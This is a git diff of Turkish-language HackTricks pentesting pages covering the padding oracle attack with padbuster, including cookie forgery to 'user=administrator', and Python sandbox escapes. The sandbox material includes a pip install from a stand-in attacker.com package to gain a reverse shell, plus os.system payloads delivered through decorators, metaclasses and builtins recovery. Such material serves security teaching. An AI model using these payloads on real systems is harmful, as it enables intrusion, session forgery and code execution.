AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -119,7 +127,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -1,37 +1,41 @@
{% hint style="success" %}
Öğren ve AWS Hacking pratiği yap:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Öğren ve GCP Hacking pratiği yap: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekle</summary>
<summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol et!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katıl veya [**telegram grubuna**](https://t.me/peass) katıl veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip et.**
* **Hacking püf noktalarını paylaşmak için PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulun.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
# CBC - Cipher Block Chaining
{% embed url="https://websec.nl/" %}
CBC modunda **önceki şifrelenmiş blok IV olarak** kullanılır ve bir sonraki blokla XOR işlemi yapılır:
# CBC - Şifre Blok Zincirleme
CBC modunda **önceki şifreli blok IV olarak kullanılır** ve bir sonraki blokla XOR yapılır:
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
CBC'yi şifrelemek için **zıt işlemler** yapılır:
CBC'yi deşifrelemek için **ters** **işlemler** yapılır:
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
Dikkat edilmesi gereken **şifreleme anahtarı** ve **IV** kullanılmasıdır.
**Şifreleme** **anahtarı** ve **IV** kullanmanın gerekli olduğunu unutmayın.
# Mesaj Dolgusu
# Mesaj Doldurma
Şifreleme **sabit boyutlu bloklarda** gerçekleştirildiği için genellikle **son bloğu tamamlamak için dolgu** gereklidir.\
Genellikle **PKCS7** kullanılır, bu da bloğu **tamamlamak için gereken byte sayısını tekrarlayan bir dolgu** oluşturur. Örneğin, son blokta 3 byte eksikse, dolgu `\x03\x03\x03` olacaktır.
Şifreleme **sabit** **boyut** **blokları** içinde gerçekleştirildiğinden, **son** **blokta** uzunluğunu tamamlamak için genellikle **doldurma** gereklidir.\
Genellikle **PKCS7** kullanılır, bu da bloğu tamamlamak için **gerekli** **bayt** **sayısını** **tekrarlayarak** bir doldurma oluşturur. Örneğin, son blokta 3 bayt eksikse, doldurma `\x03\x03\x03` olacaktır.
**8 byte uzunluğunda 2 blok** için daha fazla örneklerimize bakalım:
**8 bayt uzunluğunda 2 blok** ile daha fazla örneğe bakalım:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@ -40,43 +44,43 @@ Genellikle **PKCS7** kullanılır, bu da bloğu **tamamlamak için gereken byte
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Son örnekte **son bloğun dolu olduğuna** dikkat edin, bu yüzden sadece dolgu ile başka bir blok oluşturuldu.
Son örnekte **son bloğun dolu olduğunu ve sadece doldurma ile yeni bir bloğun oluşturulduğunu** unutmayın.
# Padding Oracle
# Doldurma Oracle'ı
Bir uygulama şifrelenmiş verileri şifre çözme işleminden sonra önce veriyi şifre çözecek; ardından dolguyu kaldıracaktır. Dolgu temizliği sırasında, **geçersiz bir dolgu algılanabilir bir davranışı tetiklerse**, bir **padding oracle açığı** oluşur. Algılanabilir davranış bir **hata**, **sonuçların eksikliği** veya **daha yavaş bir yanıt** olabilir.
Bir uygulama şifreli verileri deşifre ettiğinde, önce verileri deşifre eder; ardından doldurmayı kaldırır. Doldurmanın temizlenmesi sırasında, eğer **geçersiz bir doldurma tespit edilebilir bir davranış tetiklerse**, bir **doldurma oracle zafiyeti** vardır. Tespit edilebilir davranış bir **hata**, **sonuç eksikliği** veya **daha yavaş bir yanıt** olabilir.
Bu davranışı tespit ederseniz, **şifrelenmiş verileri şifre çözebilir** ve hatta **herhangi bir açık metni şifreleyebilirsiniz**.
Bu davranışı tespit ederseniz, **şifreli verileri deşifre edebilir** ve hatta **herhangi bir açık metni şifreleyebilirsiniz**.
## Nasıl sömürülür
## Nasıl istismar edilir
Bu tür bir ığı sömürmek için [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) kullanabilir veya sadece devam edebilirsiniz.
Bu tür bir zafiyeti istismar etmek için [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) kullanabilir veya sadece yapabilirsiniz.
```
sudo apt-get install padbuster
```
Bir sitenin çerezinin savunmasız olup olmadığını test etmek için şunları deneyebilirsiniz:
Bir sitenin çerezinin zayıf olup olmadığını test etmek için şunları deneyebilirsiniz:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
**Kodlama 0**, **base64**'ün kullanıldığı anlamına gelir (ancak diğerleri de mevcuttur, yardım menüsünü kontrol edin).
**Encoding 0** demek **base64** kullanıldığı anlamına gelir (ancak diğerleri de mevcuttur, yardım menüsüne bakın).
Bu zafiyeti yeni verileri şifrelemek için de **kötüye kullanabilirsiniz. Örneğin, çerezin içeriğinin "**_**user=MyUsername**_**" olduğunu varsayalım, sonra bunu "\_user=administrator\_" olarak değiştirebilir ve uygulama içinde ayrıcalıkları yükseltebilirsiniz. Ayrıca, `-plaintext` parametresini belirterek `paduster` kullanarak da yapabilirsiniz:
Bu güvenlik açığını **kötüye kullanarak yeni verileri şifreleyebilirsiniz. Örneğin, çerezin içeriği "**_**user=MyUsername**_**" ise, bunu "\_user=administrator\_" olarak değiştirebilir ve uygulama içinde yetkileri artırabilirsiniz. Bunu `paduster` kullanarak -plaintext** parametresini belirterek de yapabilirsiniz:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
Eğer site savunmasızsa, `padbuster` otomatik olarak dolgu hatası meydana geldiğinde bulmaya çalışacaktır, ancak ayrıca hata mesajını belirtmek için **-error** parametresini de kullanabilirsiniz.
Eğer site savunmasızsa, `padbuster` otomatik olarak padding hatasının ne zaman meydana geldiğini bulmaya çalışacaktır, ancak hata mesajını **-error** parametresi ile de belirtebilirsiniz.
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
## Teori
**Özetle**, şifrelenmiş verileri şifresini çözmeye başlayabilirsiniz, doğru değerleri tahmin ederek **farklı dolgu**ları oluşturmak için kullanılabilecek. Ardından, dolgu oracle saldırısı, hangisinin doğru değeri olacağını tahmin ederek **1, 2, 3 vb. dolgu oluşturan** doğru değeri tahmin ederek baştan sona doğru baytları şifrelemeye başlayacaktır.
**Özetle**, tüm **farklı padding'leri** oluşturmak için kullanılabilecek doğru değerleri tahmin ederek şifrelenmiş verileri çözmeye başlayabilirsiniz. Ardından, padding oracle saldırısı, 1, 2, 3, vb. **padding'leri oluşturan** doğru değerin ne olacağını tahmin ederek son byte'dan başlayarak byte'ları çözmeye başlayacaktır.
![](<../.gitbook/assets/image (629) (1) (1).png>)
**E0'den E15'e** kadar olan baytlar tarafından oluşturulan **2 bloktan** oluşan bazı şifrelenmiş metinler olduğunu hayal edin.\
**Son bloğu** (**E8** ile **E15**) **şifrelemek** için, tüm blok "blok şifre çözme" işleminden geçer ve **ara baytlar I0'dan I15'e** oluşturur.\
Son olarak, her ara bayt önceki şifrelenmiş baytlarla (E0'dan E7'ye) **XOR** edilir. Yani:
Şifrelenmiş ve **E0'dan E15'e** kadar olan byte'ları içeren **2 blok** olduğunu hayal edin.\
**Son** **blok**u (**E8**'den **E15**'e) **çözmek** için, tüm blok "blok şifre çözme" işleminden geçerek **I0'dan I15'e** kadar olan **ara byte'ları** oluşturur.\
Son olarak, her ara byte, önceki şifrelenmiş byte'larla (E0'dan E7'ye) **XOR'lanır**. Yani:
* `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6`
@ -84,43 +88,47 @@ Son olarak, her ara bayt önceki şifrelenmiş baytlarla (E0'dan E7'ye) **XOR**
* `C12 = I12 ^ E4`
* ...
Şimdi, `C15` **0x01** olduğunda **`E7` değiştirilebilir** ve bu da doğru bir dolgu olacaktır. Bu durumda: `\x01 = I15 ^ E'7`
Artık **C15'in `0x01`** olana kadar **`E7`'yi değiştirmek** mümkündür, bu da geçerli bir padding olacaktır. Bu durumda: `\x01 = I15 ^ E'7`
Bu nedenle, `E'7` bulunduğunda, **I15 hesaplanabilir**: `I15 = 0x01 ^ E'7`
E'7'yi bulduğunuzda, **I15'i hesaplamak** mümkündür: `I15 = 0x01 ^ E'7`
Bu bize **C15'i hesaplama** olanağı sağlar: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Bu da **C15'i hesaplamamıza** olanak tanır: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
**C15** bilindiğine göre, şimdi **C14 hesaplanabilir**, ancak bu sefer `\x02\x02` dolgusunu kaba kuvvet uygulayarak.
**C15**'i bildiğinizde, şimdi **C14'ü hesaplamak** mümkündür, ancak bu sefer padding'i `\x02\x02` ile brute-force yaparak.
Bu BF, öncekiyle aynı kadar karmaşıktır çünkü 0x02 değerine sahip `E''15`'i hesaplamak mümkündür: `E''7 = \x02 ^ I15` bu yüzden sadece **`C14``0x02`'ye eşit olan `E'14`'ü bulmak gereklidir.\
Sonra, C14'ü şifrelemek için aynı adımları uygulayın: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
Bu BF, önceki kadar karmaşıktır çünkü `E''15` değerinin 0x02 olduğu hesaplanabilir: `E''7 = \x02 ^ I15`, bu nedenle sadece **`E'14`**'ü bulmak gerekir ki bu da **`C14`'ün `0x02`** eşit olmasını sağlar.\
Ardından, C14'ü çözmek için aynı adımları izleyin: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Tüm şifreli metni çözmek için bu zinciri takip edin.**
**Tüm şifrelenmiş metni çözene kadar bu zinciri takip edin.**
## Zafiyetin Tespiti
## ığın Tespiti
Bir hesap kaydedin ve bu hesapla oturum açın.\
Eğer **çok kez oturum açarsanız** ve her zaman **aynı çerez**i alırsanız, uygulamada muhtemelen **bir sorun** var demektir. Geri gönderilen çerez her oturum açtığınızda **benzersiz olmalıdır**. Eğer çerez **her zaman** **aynıysa**, muhtemelen her zaman geçerli olacak ve **geçersiz kılacak bir yol olmayacaktır**.
Bir hesap kaydedin ve bu hesapla giriş yapın.\
Eğer **birçok kez giriş yaparsanız** ve her seferinde **aynı çerezi** alıyorsanız, uygulamada muhtemelen **bir sorun** vardır. **Geri gönderilen çerez her seferinde benzersiz olmalıdır.** Eğer çerez **her zaman** **aynıysa**, muhtemelen her zaman geçerli olacaktır ve onu geçersiz kılmanın bir yolu **olmayacaktır.**
Şimdi, çerezi **değiştirmeyi denerseniz**, uygulamadan bir **hata** aldığınızı görebilirsiniz.\
Ancak dolgu (örneğin padbuster kullanarak) kaba kuvvet uygularsanız, farklı bir kullanıcı için geçerli başka bir çerez elde edebilirsiniz. Bu senaryo büyük olasılıkla padbuster'a karşı savunmasızdır.
Artık çerezi **değiştirmeye** çalıştığınızda, uygulamadan bir **hata** aldığınızı görebilirsiniz.\
Ancak padding'i BF yaparsanız (örneğin padbuster kullanarak) farklı bir kullanıcı için geçerli başka bir çerez elde etmeyi başarabilirsiniz. Bu senaryo, padbuster'a karşı yüksek ihtimalle savunmasızdır.
## Referanslar
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS Hacking öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# Python sandboxes'ını atlatma
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,7 +15,15 @@ GCP Hacking öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.
</details>
{% endhint %}
Python sandbox korumalarını atlatmak ve keyfi komutlar çalıştırmak için bazı ipuçları.
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Bunlar, python sandbox korumalarını atlatmak ve keyfi komutlar çalıştırmak için bazı ipuçlarıdır.
## Komut Çalıştırma Kütüphaneleri
@ -87,7 +95,7 @@ Daha fazla bilgi için pickle'ın nasıl çalıştığını kontrol edin: [https
**@isHaacK** tarafından paylaşılan hile
Eğer `pip` veya `pip.main()` erişiminiz varsa, keyfi bir paketi yükleyebilir ve bir ters shell elde edebilirsiniz:
Eğer `pip` veya `pip.main()` erişiminiz varsa, rastgele bir paketi yükleyebilir ve bir ters shell elde edebilirsiniz:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
@ -152,7 +160,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
```
## Bypass korumaları kodlamalar aracılığıyla (UTF-7)
In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7, görünüşte bir sandbox içinde rastgele python kodu yüklemek ve çalıştırmak için kullanılır:
[**bu yazıda**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7, görünüşte bir sandbox içinde rastgele python kodu yüklemek ve çalıştırmak için kullanılır:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -167,7 +175,7 @@ Aynı zamanda `raw_unicode_escape` ve `unicode_escape` gibi diğer kodlamaları
## Çağrılar olmadan Python yürütmesi
Eğer bir python hapishanesindeyseniz ve **çağrı yapmanıza izin verilmiyorsa**, yine de **rastgele fonksiyonlar, kod** ve **komutlar** yürütmenin bazı yolları vardır.
Eğer çağrılar yapmanıza **izin vermeyen** bir python hapishanesindeyseniz, yine de **rastgele fonksiyonlar, kod** ve **komutlar** yürütmenin bazı yolları vardır.
### [Dekoratörler](https://docs.python.org/3/glossary.html#term-decorator) ile RCE
```python
@ -197,7 +205,7 @@ Eğer bir **sınıf tanımlayabilir** ve o sınıfın bir **nesnesini oluşturab
#### RCE özel sınıflarla
Bazı **sınıf yöntemlerini** (_mevcut sınıf yöntemlerini aşırı yükleyerek veya yeni bir sınıf oluşturarak_) **doğrudan çağırmadan** **tetiklendiğinde** **rastgele kod** çalıştıracak şekilde değiştirebilirsiniz.
Bazı **sınıf yöntemlerini** (_mevcut sınıf yöntemlerini aşarak veya yeni bir sınıf oluşturarak_) **doğrudan çağırmadan** **tetiklendiğinde** **rastgele kod çalıştıracak şekilde** değiştirebilirsiniz.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -249,7 +257,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
```
#### [Metaclasslar](https://docs.python.org/3/reference/datamodel.html#metaclasses) ile nesneler oluşturma
Metaclassların bize sağladığı en önemli şey, **bir sınıfın örneğini, yapıcıyı doğrudan çağırmadan** oluşturmak için hedef sınıfı metaclass olarak kullanarak yeni bir sınıf oluşturmaktır.
Metaclassların bize sağladığı en önemli şey, **bir sınıfın örneğini doğrudan yapıcıyı çağırmadan oluşturmak** için hedef sınıfı metaclass olarak kullanarak yeni bir sınıf oluşturmaktır.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -266,7 +274,7 @@ Sub['import os; os.system("sh")']
```
#### Hata ile nesne oluşturma
Bir **hata tetiklendiğinde**, **Exception** nesnesi **oluşturulur** ve doğrudan yapıcıyı çağırmanıza gerek kalmaz (bir [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) hilesi):
Bir **hata tetiklendiğinde** bir **Exception** nesnesi **oluşturulur** ve doğrudan yapıcıyı çağırmanıza gerek kalmaz (bir [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) hilesi):
```python
class RCE(Exception):
def __init__(self):
@ -329,10 +337,10 @@ __builtins__.__dict__['__import__']("os").system("ls")
```
### No Builtins
`__builtins__` yoksa, hiçbir şeyi içe aktaramazsınız ve dosyaları okumak veya yazmak bile mümkün olmayacaktır çünkü **tüm global fonksiyonlar** (örneğin `open`, `import`, `print`...) **yüklenmemiştir**.\
Ancak, **varsayılan olarak python birçok modülü belleğe yükler**. Bu modüller masum görünebilir, ancak bazıları **içinde tehlikeli** işlevsellikler de içermektedir ve bunlara erişilerek **keyfi kod yürütme** sağlanabilir.
`__builtins__` yoksa, hiçbir şeyi içe aktaramayacak ve dosyaları okuyup yazamayacaksınız çünkü **tüm global fonksiyonlar** (örneğin `open`, `import`, `print`...) **yüklenmemiştir**.\
Ancak, **varsayılan olarak python belleğe birçok modül yükler**. Bu modüller masum görünebilir, ancak bazıları **içlerinde tehlikeli** işlevsellikler de içermektedir ve bunlara erişilerek **keyfi kod yürütme** sağlanabilir.
Aşağıdaki örneklerde, **tehlikeli** **işlevselliklere** **erişmek** için yüklenen bu "**masum**" modüllerden bazılarını nasıl **istismar** edebileceğinizi gözlemleyebilirsiniz.
Aşağıdaki örneklerde, bu "**masum**" modüllerin nasıl **istismar** edileceğini ve içlerindeki **tehlikeli** **işlevselliklere** nasıl **erişileceğini** gözlemleyebilirsiniz.
**Python2**
```python
@ -374,7 +382,7 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Aşağıda daha büyük bir fonksiyon var**](./#recursive-search-of-builtins-globals) yüzlerce/**onlarca** **yer** bulmak için **builtins** bulabilirsiniz.
[**Aşağıda daha büyük bir fonksiyon var**](./#recursive-search-of-builtins-globals) yüzlerce **yer** bulmak için **builtins**'leri bulabilirsiniz.
#### Python2 ve Python3
```python
@ -390,7 +398,7 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
```
## Globals and locals
## Globals ve locals
**`globals`** ve **`locals`** kontrol etmek, erişebileceğiniz şeyleri bilmenin iyi bir yoludur.
```python
@ -454,7 +462,7 @@ defined_func.__class__.__base__.__subclasses__()
```
### Tehlikeli kütüphaneleri bulma
Örneğin, **`sys`** kütüphanesi ile **rastgele kütüphaneleri içe aktarmanın** mümkün olduğunu bilerek, **içinde sys'i içe aktaran tüm yüklü modülleri** arayabilirsiniz:
Örneğin, **`sys`** kütüphanesi ile **rastgele kütüphaneleri içe aktarmanın** mümkün olduğunu bilerek, **içinde sys içe aktaran tüm yüklü modülleri** arayabilirsiniz:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
@ -498,7 +506,7 @@ Birçok var, ve **sadece birine** ihtiyacımız var komutları çalıştırmak i
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
Ayrıca, kötü niyetli kütüphaneleri yükleyen modülleri de arayabiliriz:
Ayrıca, hangi modüllerin kötü niyetli kütüphaneleri yüklediğini de arayabiliriz:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
@ -698,11 +706,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
Not edin ki **niteliklere** normal bir şekilde **nokta** ile erişebilirsiniz `people_obj.__init__` ve **dict elemanına** **parantez** ile tırnaksız erişebilirsiniz `__globals__[CONFIG]`
Not edin ki **niteliklere** normal bir şekilde **nokta** ile `people_obj.__init__` ve **dict elemanına** **parantez** ile tırnaksız `__globals__[CONFIG]` erişebilirsiniz.
Ayrıca, bir nesnenin elemanlarını listelemek için `.__dict__` kullanabileceğinizi unutmayın `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Format dizelerinin bazı diğer ilginç özellikleri, belirtilen nesnede **`str`**, **`repr`** ve **`ascii`** fonksiyonlarını **`!s`**, **`!r`**, **`!a`** ekleyerek **çalıştırma** olanağıdır:
Format dizelerinin bazı diğer ilginç özellikleri, belirtilen nesnede **`str`**, **`repr`** ve **`ascii`** **fonksiyonlarını** sırasıyla **`!s`**, **`!r`**, **`!a`** ekleyerek **çalıştırma** olanağıdır:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
@ -721,14 +729,14 @@ return 'HAL 9000'
**Daha fazla örnek** hakkında **format** **string** örnekleri [**https://pyformat.info/**](https://pyformat.info) adresinde bulunabilir.
{% hint style="danger" %}
